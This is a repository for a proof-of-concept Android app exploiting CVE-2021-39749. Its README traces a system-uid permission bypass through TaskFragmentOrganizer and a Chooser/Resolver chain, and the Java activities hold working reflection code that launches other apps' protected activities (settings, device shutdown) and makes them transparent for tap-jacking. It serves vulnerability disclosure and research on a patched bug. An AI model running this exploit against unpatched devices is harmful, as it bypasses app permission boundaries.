├── .gitignore
├── README.md
├── app
├── .gitignore
├── build.gradle
├── proguard-rules.pro
└── src
│ └── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── com
│ │ └── example
│ │ └── organizertransaction
│ │ ├── FirstActivity.java
│ │ └── SecondActivity.java
│ └── res
│ ├── drawable-v24
│ └── ic_launcher_foreground.xml
│ ├── drawable
│ └── ic_launcher_background.xml
│ ├── layout
│ ├── activity_first.xml
│ └── activity_second.xml
│ ├── mipmap-anydpi-v26
│ ├── ic_launcher.xml
│ └── ic_launcher_round.xml
│ ├── mipmap-hdpi
│ ├── ic_launcher.webp
│ └── ic_launcher_round.webp
│ ├── mipmap-mdpi
│ ├── ic_launcher.webp
│ └── ic_launcher_round.webp
│ ├── mipmap-xhdpi
│ ├── ic_launcher.webp
│ └── ic_launcher_round.webp
│ ├── mipmap-xxhdpi
│ ├── ic_launcher.webp
│ └── ic_launcher_round.webp
│ ├── mipmap-xxxhdpi
│ ├── ic_launcher.webp
│ └── ic_launcher_round.webp
│ └── values
│ └── strings.xml
├── build.gradle
├── gradle.properties
├── gradle
└── wrapper
│ ├── gradle-wrapper.jar
│ └── gradle-wrapper.properties
├── gradlew
├── gradlew.bat
└── settings.gradle
/.gitignore:
--------------------------------------------------------------------------------
1 | *.iml
2 | .gradle
3 | /local.properties
4 | /.idea/caches
5 | /.idea/libraries
6 | /.idea/modules.xml
7 | /.idea/workspace.xml
8 | /.idea/navEditor.xml
9 | /.idea/assetWizardSettings.xml
10 | .DS_Store
11 | /build
12 | /captures
13 | .externalNativeBuild
14 | .cxx
15 | local.properties
16 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | This is PoC for CVE-2021-39749, which allows starting activities of other apps on Android 12L Beta regardless of their `permission` and `exported` settings
2 |
3 | In Android 12L [TaskFragmentOrganizer access (intentionally) no longer requires `MANAGE_ACTIVITY_TASKS` permission](https://android.googlesource.com/platform/frameworks/base/+/d5555da37a3a7f9508efee06b5c7abbb380af55d%5E!/)
4 |
5 | Using app provided here requires disabling [Hidden API Checks](https://developer.android.com/guide/app-compatibility/restrictions-non-sdk-interfaces), you can do so through `adb shell settings put global hidden_api_policy 1`. These are not security boundary and [there are known app-based bypasses](https://www.xda-developers.com/bypass-hidden-apis/)
6 |
7 | Here are commits fixing this bug (and few related mentioned in original report):
8 |
9 | 1. [`startActivityInTaskFragment` no longer rely on `Binder.getCallingUid()`](https://android.googlesource.com/platform/frameworks/base/+/a3deece020fb5a2a6e54499d83076e4c783b96ab%5E!/)
10 | 2. [`ResolverActivity` now has `relinquishTaskIdentity` enabled](https://android.googlesource.com/platform/frameworks/base/+/674aed9fb5a2a4411660507a7edb6fe1e351ed9b%5E!/)
11 | 3. (Not needed for starting other activities, but allows repositioning them around screen and making them transparent and tap-jackable) [`SurfaceControl` of `TaskFragment` is no longer provided](https://android.googlesource.com/platform/frameworks/base/+/d45dba76ac1fe9726ec74a797441fdb853c1c4db%5E!/)
12 | 4. (Not shown in code here, issue only mentioned in original report) [Deciding whenever to send `ActivityRecord#appToken` to `TaskFragmentOrganizer` is now based on uid instead of pid](https://android.googlesource.com/platform/frameworks/base/+/9c906fbc942bbddba7fe3bc1c6e905281712a118%5E!/)
13 |
14 | You can checkout `android-12.1.0_r4`, revert first 3 commits (or first 2, application will still be able shutdown device (by starting `ShutdownActivity`), but "Zoom and set alpha" checkbox won't work)
15 |
16 | (First commit from that list will have merge conflicts in tests if you try to revert it, but you can ignore these)
17 |
18 | # `Binder.getCallingUid()` that always returns system uid
19 |
20 | [`Binder.getCallingUid()`](https://developer.android.com/reference/android/os/Binder#getCallingUid()) method returns uid of process that sent currently processed Binder transaction. That uid is stored in thread-local variable. Code handling transaction can call [`Binder.clearCallingIdentity()`](https://developer.android.com/reference/android/os/Binder#clearCallingIdentity()) to set that variable to uid of own process to indicate to methods called later during transaction handling that permission checks should be done against itself (code handling transaction) and not caller of Binder transaction
21 |
22 | Sometimes there are `Binder.getCallingUid()` that are always called after `Binder.clearCallingIdentity()`, therefore always return uid of own process. [Sometimes this happens intentionally, for example in `ActivityTaskManagerService#startDreamActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityTaskManagerService.java;l=1445-1447;drc=77d147be49bbacefa92cf8a0b33b2968125ce613) (although thats rather convoluted way of doing [`Process.myUid()`](https://developer.android.com/reference/android/os/Process#myUid()) or [`Os.getuid()`](https://developer.android.com/reference/android/system/Os#getuid()))
23 |
24 | I've written for myself a ([Soot](https://soot-oss.github.io/soot/)-based) static analysis tool that reports such `Binder.getCallingUid()` calls (and other permission checks) that can only happen after `Binder.clearCallingIdentity()`. (I have custom logic handling Jimple/Shimple IR provided by Soot, although there might be better way to do so with Soot, but thats what I have now)
25 |
26 | In Android 12L Beta that tool found one in [ActivityStartController#startActivityInTaskFragment](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStartController.java;l=511;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) (Note: source code was not available then as Beta releases are not open source, but Shimple is generally readable so I've been using Soot also as Java decompiler)
27 |
28 | # How to call `startActivityInTaskFragment`
29 |
30 | As part of static analysis report I've got call hierarchy from [`onTransact()`](https://developer.android.com/reference/android/os/Binder#onTransact(int,%20android.os.Parcel,%20android.os.Parcel,%20int)) implementation (where Binder call starts) to `startActivityInTaskFragment`:
31 |
32 | 1. `onTransact` in aidl-generated code of [`IWindowOrganizerController`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/window/IWindowOrganizerController.aidl;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
33 | 2. [`WindowOrganizerController#applyTransaction` (without `CallerInfo` argument)](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=166;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
34 | 3. [`WindowOrganizerController#applyTransaction` (with `CallerInfo` argument)](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=380;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
35 | 4. [`WindowOrganizerController#applyHierarchyOp`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=633;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
36 | 5. [`ActivityStartController#startActivityInTaskFragment`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStartController.java;l=511;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
37 |
38 | I've found that Binder calls to `applyTransaction` are present in [`TaskFragmentOrganizer` class](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/window/TaskFragmentOrganizer.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) and I've decided to use it as more convenient wrapper than doing all Binder calls directly (neither is public API so I had to use reflection anyway)
39 |
40 | First of all, method "2." calls `enforceTaskPermission`, which on Android 12.0 checked `signature`-only `MANAGE_ACTIVITY_TASKS` permission which we couldn't get, however [on Android 12L rules were relaxed so certain transactions can be made without permissions](https://android.googlesource.com/platform/frameworks/base/+/d5555da37a3a7f9508efee06b5c7abbb380af55d%5E!/). It turned out that none of operations needed for doing `startActivityInTaskFragment` required a permission (if transaction had `TaskFragmentOrganizer` associated)
41 |
42 | So we want to [perform `HIERARCHY_OP_TYPE_START_ACTIVITY_IN_TASK_FRAGMENT`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=621-641;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). In order to do so we must have our `TaskFragment` registered in `mLaunchTaskFragments` otherwise `"Not allowed to operate with invalid fragment token"` exception will be reported
43 |
44 | We can register such `TaskFragment` through [`HIERARCHY_OP_TYPE_CREATE_TASK_FRAGMENT`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=588-593;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), which calls [`createTaskFragment()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=1202-1240;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
45 |
46 | (In PoC code these transactions are sent in `SecondActivity`: `HIERARCHY_OP_TYPE_CREATE_TASK_FRAGMENT` is sent by `initOrganizerAndFragment()` and `HIERARCHY_OP_TYPE_START_ACTIVITY_IN_TASK_FRAGMENT` is sent by `startActivityInOrganizer`)
47 |
48 | So that allows us to call `startActivityInTaskFragment` and Intents of Activities started here are considered to be coming from system uid, but it turns out that in itself it doesn't let us do anything: [activities started by system cannot do URI grants](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/uri/UriGrantsManagerService.java;l=1095-1111;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b) and if we try to launch activity of another app we'll be stopped by [`canEmbedActivity` check](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java;l=1960-1997;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
49 |
50 | # Bypassing `canEmbedActivity`
51 |
52 | Lets [take a look at `canEmbedActivity` again](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityStarter.java;l=1969-1997;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b): embedding is allowed if `taskFragment.getTask().effectiveUid` is uid of system or matches uid of launched app. We'll need to be in task whose `effectiveUid` is system
53 |
54 | Also step back to [`createTaskFragment()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/WindowOrganizerController.java;l=1202-1240;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b): creation of TaskFragment was only allowed if `rootActivity.getUid() != ownerActivity.getUid()`. This means that our activity will need to be at bottom of back-stack of Task it is in
55 |
56 | We'll need to launch new `Task` (through [`Intent.FLAG_ACTIVITY_NEW_TASK`](https://developer.android.com/reference/android/content/Intent#FLAG_ACTIVITY_NEW_TASK)) which will have Activity belonging to system uid (so `Task#effectiveUid` will be set to `AID_SYSTEM`) and then that Activity will start our Activity (within same Task) and [`finish()`](https://developer.android.com/reference/android/app/Activity#finish()) itself (so our Activity will become root of that task allowing us to use `createTaskFragment()`)
57 |
58 | One of such Activities is [`ChooserActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/app/ChooserActivity.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). Chooser is usually used for choosing to which app user wants to use after selecting "share" option. [`ChooserActivity` however does have `android:relinquishTaskIdentity="true"` set in `AndroidManifest.xml`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/res/AndroidManifest.xml;l=5859-5864;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), which means that when it launches another Activity it will [overwrite `Task#effectiveUid` with uid of newly-launched app](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/Task.java;l=1015-1030;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b)
59 |
60 | (`relinquishTaskIdentity` only works when used by first app in Task and only for system apps, so we cannot use `relinquishTaskIdentity` ourselves and launch system app to overwrite `Task#effectiveUid` of our Task)
61 |
62 | Another such Activity (that can start our Activity and `finish()` itself) is [`ResolverActivity`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/app/ResolverActivity.java;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b). It is used when starting implicit `Intent` that resolves to multiple Activities. Resolver (unlike Chooser) does offer option to remember choice, which is how you (as user of phone) can distinguish those two. `ResolverActivity` did not have `relinquishTaskIdentity` set, however Resolver uses own Intent to find what options are available (while Chooser takes Intent provided in Extras). This turns out to be a problem for exploitation because Intent flags used by Resolver when launching selected Activity will be same as those used to launch Resolver and:
63 |
64 | * If we don't set `Intent.FLAG_ACTIVITY_NEW_TASK`, Resolver will be launched within our `Task` which already has `effectiveUid` permanently set
65 | * If we do set `Intent.FLAG_ACTIVITY_NEW_TASK`, Resolver will launch selection into yet another `Task`, which will then have `effectiveUid` set to one belonging to launched app
66 |
67 | The solution to these problems is to use both:
68 |
69 | 1. First we launch `ChooserActivity`: We provide to its Intent:
70 | * `Intent.FLAG_ACTIVITY_NEW_TASK`, so Chooser is launched in new Task (which will have `effectiveUid` of system but only until next Activity launch)
71 | * [`Intent.EXTRA_INTENT`](https://developer.android.com/reference/android/content/Intent#EXTRA_INTENT) set to an `Intent` which doesn't match any Activities and only options left in Chooser will come from `Intent.EXTRA_INITIAL_INTENTS`
72 | * [`Intent.EXTRA_INITIAL_INTENTS`](https://developer.android.com/reference/android/content/Intent#EXTRA_INITIAL_INTENTS) containing array with one-element: The Intent we want Chooser to launch (when there is only one option both Chooser and Resolver skip prompt and immediately launch only option and `finish()` itself)
73 | 2. Then `ResolverActivity` is launched by `ChooserActivity`:
74 | * Resolver didn't have `relinquishTaskIdentity` set, so now `Task#effectiveUid` is set to system and will stay that way regardless of next Activities launched in this Task
75 | * Intent does not have `Intent.FLAG_ACTIVITY_NEW_TASK`, so next Activity is launched within same Task
76 | * Intent action is set to non-standard one, matching only `` we declared ourselves in our app, so Resolver immediately proceeds to launching our Activity
77 | 3. `ResolverActivity` launches our Activity
78 | * Now we're in Task whose `effectiveUid` is `AID_SYSTEM`, so `canEmbedActivity()` allows anything
79 | * Both Chooser and Resolver have finished themselves, so we're root Activity in Task and are allowed to use `createTaskFragment()`
80 |
81 | (In PoC app preparation of these steps is performed in `FirstActivity`)
82 |
83 | # Other tricks with TaskFragmentOrganizer
84 |
85 | TaskFragmentOrganizer received a [`SurfaceControl`](https://developer.android.com/reference/android/view/SurfaceControl) through `onTaskFragmentAppeared` callback and using that `SurfaceControl` one can scale launched Activity and make it transparent, while it will still receive touch events and won't be considered obscured (so tap-jacking-protected elements can still be tapped)
86 |
87 | You can see that by checking "Zoom and set alpha" checkbox in PoC app
88 |
89 | [This is fixed by commit "3." from fixes list at top](https://android.googlesource.com/platform/frameworks/base/+/d45dba76ac1fe9726ec74a797441fdb853c1c4db%5E!/)
90 |
91 | ---
92 |
93 | Another thing is that `ActivityRecord#appToken`-s of Activities running inside `TaskFragment` passed to `TaskFragmentOrganizer` callbacks. This list was filtered to only include tokens of Activities within same process, however check was done by comparing pid of TaskFragmentOrganizer with pid of Activity whose `appToken` we could get. I haven't actually checked but I think application could create `TaskFragmentOrganizer`, exit process used to initially create it and have its pid reused as pid of Activity of another app in order to get its `appToken`. [Here's commit ("4." in fixes list above) that switches verification from pid-based to uid-based (it looks like this commit was done independently of my report though (although after it))](https://android.googlesource.com/platform/frameworks/base/+/9c906fbc942bbddba7fe3bc1c6e905281712a118%5E!/)
94 |
95 | Once attacker gets `appToken` of an Activity they can inject [`onActivityResult()`](https://developer.android.com/reference/android/app/Activity#onActivityResult(int,%20int,%20android.content.Intent)) calls (even if target app didn't call [`startActivityForResult()`](https://developer.android.com/reference/android/app/Activity#startActivityForResult(android.content.Intent,%20int)) themselves) and possibly tamper `savedInstanceState` (by calling [`activityStopped()`](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/ActivityClientController.java;l=183;drc=674aed9fb5a2a4411660507a7edb6fe1e351ed9b), assuming attacker can win race with target application calling that method and additional call won't cause state to be lost due to crash)
96 |
97 | I haven't checked if that can be done in this case, however previously, with [CVE-2020-0001](https://source.android.com/security/bulletin/2020-01-01#framework) (Yay, I've got fancy number), I was able to use `savedInstanceState` tampering and `onActivityResult()` injection to trick system settings app into enabling my `AccessibilityService` without user interaction, but that is a story for another time
98 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | /build
--------------------------------------------------------------------------------
/app/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'com.android.application'
3 | }
4 |
5 | android {
6 | compileSdk 30
7 |
8 | defaultConfig {
9 | applicationId "com.example.organizertransaction"
10 | minSdk 30
11 | targetSdk 30
12 | versionCode 1
13 | versionName "1.0"
14 |
15 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
16 | }
17 |
18 | buildTypes {
19 | release {
20 | minifyEnabled false
21 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
22 | }
23 | }
24 | compileOptions {
25 | sourceCompatibility JavaVersion.VERSION_1_8
26 | targetCompatibility JavaVersion.VERSION_1_8
27 | }
28 | }
29 |
30 | dependencies {
31 |
32 | // implementation 'androidx.appcompat:appcompat:1.3.1'
33 | // implementation 'com.google.android.material:material:1.4.0'
34 | // implementation 'androidx.constraintlayout:constraintlayout:2.1.1'
35 | // testImplementation 'junit:junit:4.+'
36 | // androidTestImplementation 'androidx.test.ext:junit:1.1.3'
37 | // androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
38 | }
--------------------------------------------------------------------------------
/app/proguard-rules.pro:
--------------------------------------------------------------------------------
1 | # Add project specific ProGuard rules here.
2 | # You can control the set of applied configuration files using the
3 | # proguardFiles setting in build.gradle.
4 | #
5 | # For more details, see
6 | # http://developer.android.com/guide/developing/tools/proguard.html
7 |
8 | # If your project uses WebView with JS, uncomment the following
9 | # and specify the fully qualified class name to the JavaScript interface
10 | # class:
11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview {
12 | # public *;
13 | #}
14 |
15 | # Uncomment this to preserve the line number information for
16 | # debugging stack traces.
17 | #-keepattributes SourceFile,LineNumberTable
18 |
19 | # If you keep the line number information, uncomment this to
20 | # hide the original source file name.
21 | #-renamesourcefileattribute SourceFile
--------------------------------------------------------------------------------
/app/src/main/AndroidManifest.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
12 |
15 |
16 |
17 |
18 |
19 |
20 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/app/src/main/java/com/example/organizertransaction/FirstActivity.java:
--------------------------------------------------------------------------------
1 | package com.example.organizertransaction;
2 |
3 | import android.app.Activity;
4 | import android.content.Intent;
5 | import android.os.Bundle;
6 | import android.os.Parcelable;
7 | import android.view.View;
8 |
9 | public class FirstActivity extends Activity {
10 |
11 | @Override
12 | protected void onCreate(Bundle savedInstanceState) {
13 | super.onCreate(savedInstanceState);
14 | setContentView(R.layout.activity_first);
15 | }
16 |
17 | public void doStuff(View view) {
18 | // Intent that will be launched by ChooserActivity
19 | // (at first ChooserActivity will launch ResolverActivity,
20 | // then ResolverActivity will launch SecondActivity)
21 | Intent targetIntent = new Intent("com.example.organizertransaction.SECOND_ACTIVITY");
22 | targetIntent.setClassName("android", "com.android.internal.app.ResolverActivity");
23 |
24 | // Intent that will launch ChooserActivity
25 | // Only this Intent of all in chain has FLAG_ACTIVITY_NEW_TASK
26 | Intent chooserIntent = Intent.createChooser(
27 | new Intent("com.example.organizertransaction.NO_SUCH_ACTIVITY"), null
28 | );
29 | chooserIntent.putExtra(Intent.EXTRA_INITIAL_INTENTS, new Parcelable[] { targetIntent });
30 | chooserIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
31 |
32 | startActivity(chooserIntent);
33 | }
34 |
35 | }
--------------------------------------------------------------------------------
/app/src/main/java/com/example/organizertransaction/SecondActivity.java:
--------------------------------------------------------------------------------
1 | package com.example.organizertransaction;
2 |
3 | import android.annotation.SuppressLint;
4 | import android.app.Activity;
5 | import android.content.Intent;
6 | import android.os.Binder;
7 | import android.os.Bundle;
8 | import android.os.IBinder;
9 | import android.provider.Settings;
10 | import android.view.SurfaceControl;
11 | import android.view.View;
12 | import android.widget.ArrayAdapter;
13 | import android.widget.CheckBox;
14 | import android.widget.CompoundButton;
15 | import android.widget.Spinner;
16 |
17 | import java.lang.reflect.Field;
18 | import java.lang.reflect.InvocationTargetException;
19 | import java.util.concurrent.Executor;
20 |
21 | @SuppressWarnings("JavaReflectionMemberAccess")
22 | @SuppressLint("PrivateApi")
23 | public class SecondActivity extends Activity {
24 |
25 | public static final String[] ACTION_NAMES = {
26 | "IntentsLab",
27 | "Shutdown"
28 | };
29 | private SurfaceControl mLeash;
30 | private Class> mOrganizerClass;
31 | private Object mOrganizer;
32 | private IBinder mActivityToken;
33 | private Binder mFragmentToken;
34 | private Spinner mSpinner;
35 | private CheckBox mZoomAndScale;
36 |
37 | @Override
38 | protected void onCreate(Bundle savedInstanceState) {
39 | super.onCreate(savedInstanceState);
40 | setContentView(R.layout.activity_second);
41 | mSpinner = findViewById(R.id.spinner);
42 | mSpinner.setAdapter(new ArrayAdapter<>(mSpinner.getContext(), android.R.layout.simple_spinner_item, getResources().getStringArray(R.array.destinations)));
43 | mZoomAndScale = findViewById(R.id.zoom_and_set_alpha);
44 | mZoomAndScale.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
45 | @Override
46 | public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
47 | if (isChecked) {
48 | buttonView.setEnabled(false);
49 | if (mLeash != null) {
50 | doZoomAndScale();
51 | }
52 | }
53 | }
54 | });
55 | }
56 |
57 | public void doStuff2(View view) throws Exception {
58 | if (mOrganizer == null) {
59 | initOrganizerAndFragment();
60 | }
61 | Intent intent = null;
62 | switch (mSpinner.getSelectedItemPosition()) {
63 | case 0:
64 | intent = new Intent(Settings.ACTION_SETTINGS);
65 | break;
66 | case 1:
67 | intent = new Intent("com.android.internal.intent.action.REQUEST_SHUTDOWN");
68 | break;
69 | }
70 | startActivityInOrganizer(intent);
71 | }
72 |
73 | private void doZoomAndScale() {
74 | try {
75 | moveAndScale(mLeash, 0.5f, 1000, 0, 0.5f, 0.5f);
76 | } catch (Exception e) {
77 | throw new RuntimeException(e);
78 | }
79 | }
80 |
81 | void onTaskAppeared() {
82 | if (mZoomAndScale.isChecked()) {
83 | doZoomAndScale();
84 | }
85 | }
86 |
87 | void initOrganizerAndFragment() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
88 | mActivityToken = (IBinder) Activity.class.getMethod("getActivityToken").invoke(this);
89 | mFragmentToken = new Binder("FragmentToken");
90 |
91 | mOrganizerClass = Class.forName("android.window.TaskFragmentOrganizer");
92 | mOrganizer = mOrganizerClass.getConstructor(Executor.class)
93 | .newInstance((Executor) this::executorFn);
94 |
95 | Object transactionBuilder = Class.forName("android.window.TaskFragmentCreationParams$Builder")
96 | .getConstructor(
97 | Class.forName("android.window.TaskFragmentOrganizerToken"),
98 | IBinder.class,
99 | IBinder.class
100 | )
101 | .newInstance(
102 | mOrganizerClass.getMethod("getOrganizerToken").invoke(mOrganizer), // organizer
103 | mFragmentToken, // fragmentToken
104 | mActivityToken // ownerToken
105 | );
106 |
107 | Class> transactionClass = Class.forName("android.window.WindowContainerTransaction");
108 | Object transaction = transactionClass.newInstance();
109 |
110 | transactionClass
111 | .getMethod("createTaskFragment", Class.forName("android.window.TaskFragmentCreationParams"))
112 | .invoke(transaction, transactionBuilder.getClass().getMethod("build").invoke(transactionBuilder));
113 |
114 |
115 | mOrganizerClass.getMethod("registerOrganizer").invoke(mOrganizer);
116 |
117 | mOrganizerClass.getMethod("applyTransaction", transactionClass).invoke(mOrganizer, transaction);
118 | }
119 |
120 | void startActivityInOrganizer(Intent intent) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
121 | Class> transactionClass = Class.forName("android.window.WindowContainerTransaction");
122 | Object transaction = transactionClass.newInstance();
123 |
124 | transactionClass
125 | .getMethod(
126 | "startActivityInTaskFragment",
127 | IBinder.class, // container
128 | IBinder.class, // reparentContainer
129 | Intent.class, // activityIntent
130 | Bundle.class // launchOptions
131 | )
132 | .invoke(
133 | transaction,
134 | mFragmentToken,
135 | mActivityToken,
136 | intent,
137 | null
138 | );
139 |
140 | mOrganizerClass.getMethod("applyTransaction", transactionClass).invoke(mOrganizer, transaction);
141 | }
142 |
143 | void executorFn(Runnable r) {
144 | r.run();
145 |
146 | Class extends Runnable> rClass = r.getClass();
147 | Field field = null;
148 | try {
149 | field = rClass.getDeclaredField("f$1");
150 | } catch (NoSuchFieldException e) {
151 | }
152 | String fieldTypeName = null;
153 | if (field != null) {
154 | fieldTypeName = field.getType().getName();
155 | }
156 | if ("android.window.TaskFragmentAppearedInfo".equals(fieldTypeName)) {
157 | try {
158 | field.setAccessible(true);
159 | Object info = field.get(r);
160 | mLeash = (SurfaceControl) info.getClass().getMethod("getLeash").invoke(info);
161 | } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
162 | throw new RuntimeException(e);
163 | }
164 | runOnUiThread(this::onTaskAppeared);
165 | }
166 | }
167 |
168 | private void moveAndScale(SurfaceControl sc, float alpha, float positionX, float positionY, float scaleX, float scaleY) throws Exception {
169 | SurfaceControl.Transaction transaction = new SurfaceControl.Transaction();
170 | transaction.setAlpha(sc, alpha);
171 | transaction.getClass()
172 | .getMethod(
173 | "setMatrix",
174 | SurfaceControl.class,
175 | float.class,
176 | float.class,
177 | float.class,
178 | float.class
179 | )
180 | .invoke(
181 | transaction,
182 | sc,
183 | scaleX,
184 | 0.0f,
185 | 0.0f,
186 | scaleY
187 | );
188 | // transaction.getClass()
189 | // .getMethod(
190 | // "setPosition",
191 | // SurfaceControl.class,
192 | // float.class,
193 | // float.class
194 | // )
195 | // .invoke(
196 | // transaction,
197 | // sc,
198 | // positionX,
199 | // positionY
200 | // );
201 | transaction.apply();
202 | }
203 | }
--------------------------------------------------------------------------------
/app/src/main/res/drawable-v24/ic_launcher_foreground.xml:
--------------------------------------------------------------------------------
1 |
7 |
8 |
9 |
15 |
18 |
21 |
22 |
23 |
24 |
30 |
--------------------------------------------------------------------------------
/app/src/main/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
7 |
10 |
15 |
20 |
25 |
30 |
35 |
40 |
45 |
50 |
55 |
60 |
65 |
70 |
75 |
80 |
85 |
90 |
95 |
100 |
105 |
110 |
115 |
120 |
125 |
130 |
135 |
140 |
145 |
150 |
155 |
160 |
165 |
170 |
171 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_first.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
13 |
14 |
18 |
19 |
20 |
25 |
26 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_second.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
9 |
13 |
14 |
18 |
19 |
20 |
24 |
25 |
30 |
31 |
36 |
37 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-hdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-mdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/michalbednarski/OrganizerTransaction/03a26ea71bc6a64d19fc41dc91ec290cfd6d8523/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
--------------------------------------------------------------------------------
/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp:
--------------------------------------------------------------------------------
